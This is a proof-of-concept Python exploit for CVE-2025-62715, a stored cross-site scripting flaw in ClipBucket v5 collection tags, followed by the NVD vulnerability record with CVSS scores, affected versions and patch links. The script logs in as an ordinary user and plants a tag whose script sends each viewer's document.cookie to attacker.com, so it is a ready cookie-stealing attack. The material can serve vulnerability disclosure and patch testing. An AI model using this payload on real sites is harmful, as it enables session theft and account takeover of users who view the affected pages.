CVE-2025-62715

import requests import re # CVE-2025-62715 PoC - ClipBucket v5 Stored XSS in Collection Tags # Target: ClipBucket v5 <= 5.5.2-#147 BASE_URL = "http://target-clipbucket.com" LOGIN_URL = f"{BASE_URL}/login" CREATE_TAG_URL = f"{BASE_URL}/collections/create_tag" VIEW_COLLECTION_URL = f"{BASE_URL}/collections/view" session = requests.Session() # Step 1: Authenticate as low-privilege user login_data = { "username": "attacker_user", "password": "attacker_password" } session.post(LOGIN_URL, data=login_data) # Step 2: Create malicious tag with XSS payload # Payload: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" tag_data = { "tag_name": xss_payload, "collection_id": 123 } response = session.post(CREATE_TAG_URL, data=tag_data) # Step 3: When victim views collection or tag list, XSS executes print("XSS tag created successfully") print(f"Victim visits: {VIEW_COLLECTION_URL}?id=123") print("Malicious JavaScript will execute in victim's browser")

{"cve": {"id": "CVE-2025-62715", "sourceIdentifier": "[email protected]", "published": "2025-11-04T22:16:38.637", "lastModified": "2025-11-10T19:58:06.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClipBucket v5 is an open source video sharing platform. Versions 5.5.2-#147 and below contain a stored Cross-Site Scripting (XSS) vulnerability in ClipBucket’s Collection tags feature. An authenticated normal user can create a tag containing HTML or JavaScript, which is later rendered unescaped in collection detail and tag-list pages. As a result, arbitrary JavaScript executes in the browsers of all users who view the affected pages. This issue is fixed in version 5.5.2-#152."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3", "versionEndExcluding": "5.5.2-157", "matchCriteriaId": "3853CC60-97B9-4859-A4FC-F46AEEBF327B"}]}]}], "references": [{"url": "https://github.com/MacWarrior/clipbucket-v5/commit/8e3cf79ce2721fbebde68a05a9a1a6319f086bcc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-h5f4-wj75-39x3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}